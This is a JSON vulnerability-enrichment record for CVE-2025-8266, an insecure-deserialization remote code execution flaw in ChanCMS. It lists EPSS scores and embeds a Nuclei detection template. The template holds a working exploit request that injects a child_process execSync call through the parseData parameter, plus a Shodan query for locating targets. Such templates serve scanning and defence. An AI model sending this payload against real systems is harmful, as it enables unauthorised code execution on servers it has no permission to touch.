{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-8266/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-8266/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-8266/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-8266/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-8266/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-8266/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-8266"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2025-8266"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.01135,
      "kev": false,
      "percentile": 0.66523
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-8266.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-8266\n\ninfo:\n  name: ChanCMS <= 3.1. - Remote Code Execution\n  author: Ark\n  severity: critical\n  description: |\n    yanyutao0402 ChanCMS <= 3.1.2 contains an insecure deserialization caused by manipulation of the \\\"targetUrl\\\" argument in getArticle function of app/modules/cms/controller/collect.js, letting remote attackers execute arbitrary code, exploit requires crafted input.\n  impact: |\n    Remote attackers can execute arbitrary code, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to version 3.1.3.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-8266\n    - https://github.com/advisories/GHSA-pg2f-hfwm-m7g5\n    - https://avd.aliyun.com/detail?id=AVD-2025-8266\n    - https://dbugs.ptsecurity.com/vulnerability/PT-2025-31058\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"ChanCMS\"\n  tags: cve,cve2025,chancms,rce,deserialization,intrusive,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /cms/gather/getArticle?targetUrl=http://jsonplaceholder.typicode.com/posts/1&parseData=return+process.mainModule.require(%27child_process%27).execSync(%27id%27).toString() HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"uid=\", \"gid=\", \"groups=\")'\n          - 'contains(header, \"ChanCMS\")'\n        condition: and\n# digest: 4b0a00483046022100a8ae1b283e8bdf44fdf0aca7a35c3b59fc17bf33d58fc21198c9a5347d57361c022100d092f45e04766a24f2ac8a312b485818500667e224779ba4b131bdec770bd277:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-8266"
}